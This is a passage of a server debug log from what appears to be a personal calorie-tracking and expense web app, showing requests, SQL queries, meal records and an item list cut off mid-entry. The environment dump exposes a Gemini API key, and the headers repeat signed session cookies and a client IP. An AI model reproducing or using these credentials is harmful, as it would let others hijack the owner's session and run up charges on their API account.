    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '157.48.248.188',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.248.188',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '157.48.248.188',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-13T12:12:23.305Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-13T12:12:23.305Z server-connect:app Executing action step identify
2025-12-13T12:12:23.305Z server-connect:app options: { provider: 'security' }
2025-12-13T12:12:23.306Z server-connect:output identity: 1
2025-12-13T12:12:23.306Z server-connect:app Executing action step restrict
2025-12-13T12:12:23.306Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T12:12:23.306Z server-connect:output restrict: undefined
2025-12-13T12:12:23.306Z server-connect:app Executing action step single
2025-12-13T12:12:23.306Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-13T12:12:23.308Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-13T12:12:23.308Z server-connect:app Executing action step select
2025-12-13T12:12:23.308Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-13T12:12:23.309Z server-connect:output item_list: [
  {
    id: 371,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'Black coffee,Water',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Enhances performance and focus during early morning workouts without significant caloric intake. Beneficial for muscle development goal.'
  },
  {
    id: 372,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Paneer',
    calories: 145,
    protein_gm: 9,
    carbs_gm: 2,
    fat_gm: 11,
    quantity: '50 gm',
    replacements: 'Low-fat paneer (reduced fat content, fewer calories),Tofu (lower fat, good protein),Chicken breast (lean protein, low fat),Egg whites (pure protein, no fat),Greek yogurt (high protein, often low fat)',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of high-quality protein and healthy fats, crucial for muscle repair, growth, and satiety, especially important for a muscle development goal with consistent gym activity.'
  },
  {
    id: 373,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Sugar Tea',
    calories: 102,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 4,
    quantity: '1 small cup (approx 100ml full-fat milk, 10g sugar)',
    replacements: 'Black tea (0 calories),Green tea (0 calories),Tea with artificial sweetener (e.g., stevia, sucralose),Tea with skim milk or low-fat milk (reduced calories, fat),Tea with less sugar or no sugar',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 3,
    skip_reason: 'This item is high in added sugar, providing empty calories that contribute minimally to muscle development and can hinder fat loss efforts. For someone with a desk job and a muscle development goal, minimizing added sugars is key to maintaining a lean physique and optimizing nutrient intake. Full-fat milk also adds unnecessary calories and saturated fat that could be optimized by using skim or low-fat milk.'
  },
  {
    id: 374,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 48,
    protein_gm: 2,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: "1 cup (approx 200ml, assuming 75ml full-fat cow's milk and 125ml brewed black tea)",
    replacements: 'Tea with skim milk or low-fat milk,Black tea or green tea (zero calories),Herbal tea',
    created_at: '2025-12-13T01:32:31.000Z',
    skip_level: 1,
    skip_reason: 'Milk tea without sugar is a generally good choice, especially for someone with your activity level and muscle development goals. Milk provides essential protein and calcium, beneficial for muscle repair and bone health. By skipping sugar, you avoid empty calories and added sugars, making it a much healthier beverage choice.'
  },
  {
    id: 375,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 medium (approx 100g edible portion)',
    replacements: 'Berries (e.g., strawberries, blueberries),Apple,Guava',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of quick carbohydrates for energy, especially beneficial for pre or post-workout recovery. Provides potassium crucial for muscle function and electrolyte balance. A good choice for muscle development.'
  },
  {
    id: 376,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 77,
    protein_gm: 1,
    carbs_gm: 20,
    fat_gm: 1,
    quantity: '3 slices (approx 180g, assuming 60g per slice)',
    replacements: 'Cucumber,Watermelon,Cantaloupe',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Low in calories and rich in vitamins (C and A) and antioxidants. Contains papain, an enzyme that aids digestion, which can be beneficial. Good for hydration and general health support for an active lifestyle.'
  },
  {
    id: 377,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 138,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 32g)',
    replacements: 'Lean chicken breast (e.g., grilled),Egg whites,Low-fat cottage cheese,Tofu (firm)',
    created_at: '2025-12-13T01:56:27.000Z',
    skip_level: 1,
    skip_reason: "Excellent for muscle repair and growth. It's a fast-digesting, high-quality protein source, crucial for post-workout recovery and meeting protein targets for muscle development, especially with frequent gym sessions."
  },
  {
    id: 378,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 65,
    protein_gm: 1,
    carbs_gm: 16,
    fat_gm: 1,
    quantity: '3 slices (approx 150g)',
    replacements: 'Berries (strawberries, blueberries),Watermelon,Cucumber',
    created_at: '2025-12-13T05:45:37.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of Vitamin C, fiber, and antioxidants. Natural sugars provide energy for your active lifestyle, supporting recovery and overall health. Very beneficial for muscle development goals.'
  },
  {
    id: 379,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 37,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 cup (approx 60ml whole milk, negligible tea calories)',
    replacements: 'Black coffee,Green tea,Herbal tea,Tea with skim milk,Tea with unsweetened almond/soy milk',
    created_at: '2025-12-13T05:45:37.000Z',
    skip_level: 2,
    skip_reason: "Contains whole milk which adds saturated fat and calories. While not 'bad' in moderation, for muscle development with a desk job, opting for skim milk or a plant-based alternative would reduce fat intake while still providing some protein and reducing overall calorie density, especially if consumed regularly. Consider reducing frequency or switching milk type."
  }
]
2025-12-13T12:12:23.309Z server-connect:app Executing action step setvalue
2025-12-13T12:12:23.309Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-13T12:12:23.310Z server-connect:output var_total: 711
2025-12-13T12:12:23.310Z server-connect:app Executing action step setvalue
2025-12-13T12:12:23.310Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-13T12:12:23.310Z server-connect:output var_consumed: 30
2025-12-13T12:12:23.310Z server-connect:app Executing action step setvalue
2025-12-13T12:12:23.310Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-13T12:12:23.310Z server-connect:output var_deficit: 1689
2025-12-13T12:12:23.310Z server-connect:app Executing action step custom
2025-12-13T12:12:23.310Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-13T12:12:23.311Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '711',
    surplus_or_deficit: '1689',
    status_flag: 2
  }
]
2025-12-13T12:12:30.307Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-13T12:12:30.307Z server-connect:app Executing action step identify
2025-12-13T12:12:30.307Z server-connect:app options: { provider: 'security' }
2025-12-13T12:12:30.307Z server-connect:output identity: 1
2025-12-13T12:12:30.307Z server-connect:app Executing action step restrict
2025-12-13T12:12:30.308Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T12:12:30.308Z server-connect:output restrict: undefined
2025-12-13T12:12:30.308Z server-connect:app Executing action step processWithGemini
2025-12-13T12:12:30.308Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-13T12:12:41.104Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Vada Pav',
      quantity: '1 piece',
      total_calories: 320,
      protein: 7,
      carbs: 45,
      fat: 18,
      lower_calorie_alternatives: [Array],
      skip_level: 3,
      skip_reason: "Deep-fried and high in refined carbohydrates (white bread, potato) and unhealthy fats. It's calorie-dense but relatively low in protein and micronutrients, making it suboptimal for muscle development and lean mass gain, especially with a desk job where overall calorie expenditure might be lower outside of gym time."
    }
  ],
  total_macros: {
    total_calories: 320,
    total_protein: 7,
    total_carbs: 45,
    total_fat: 18,
    unit: 'g'
  }
}
2025-12-13T12:12:46.711Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-13T12:12:46.712Z server-connect:app Executing action step identify
2025-12-13T12:12:46.712Z server-connect:app options: { provider: 'security' }
2025-12-13T12:12:46.712Z server-connect:output identity: 1
2025-12-13T12:12:46.712Z server-connect:app Executing action step restrict
2025-12-13T12:12:46.712Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T12:12:46.713Z server-connect:output restrict: undefined
2025-12-13T12:12:46.713Z server-connect:app Executing action step condition
2025-12-13T12:12:46.713Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-13T12:12:46.713Z server-connect:app Executing action step repeat
2025-12-13T12:12:46.713Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-13T12:12:46.713Z server-connect:app Executing action step insert
2025-12-13T12:12:46.713Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-13T12:12:46.714Z server-connect:output calories: { affected: 1, identity: 380 }
2025-12-13T12:12:46.714Z server-connect:output repeat: [ {} ]
2025-12-13T12:12:46.714Z server-connect:output condition: undefined
2025-12-13T12:12:46.991Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T12:12:46.992Z server-connect:app Executing action step identify
2025-12-13T12:12:46.992Z server-connect:app options: { provider: 'security' }
2025-12-13T12:12:46.992Z server-connect:output identity: 1
2025-12-13T12:12:46.992Z server-connect:app Executing action step restrict
2025-12-13T12:12:46.992Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T12:12:46.993Z server-connect:output restrict: undefined
2025-12-13T12:12:46.993Z server-connect:router Render template layouts/main
2025-12-13T12:12:46.993Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '157.48.248.188',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.248.188',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '157.48.248.188',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-13T12:12:47.725Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T12:12:47.726Z server-connect:app Executing action step identify
2025-12-13T12:12:47.726Z server-connect:app options: { provider: 'security' }
2025-12-13T12:12:47.726Z server-connect:output identity: 1
2025-12-13T12:12:47.726Z server-connect:app Executing action step restrict
2025-12-13T12:12:47.726Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T12:12:47.726Z server-connect:output restrict: undefined
2025-12-13T12:12:47.726Z server-connect:app Executing action step select
2025-12-13T12:12:47.726Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T12:12:47.729Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
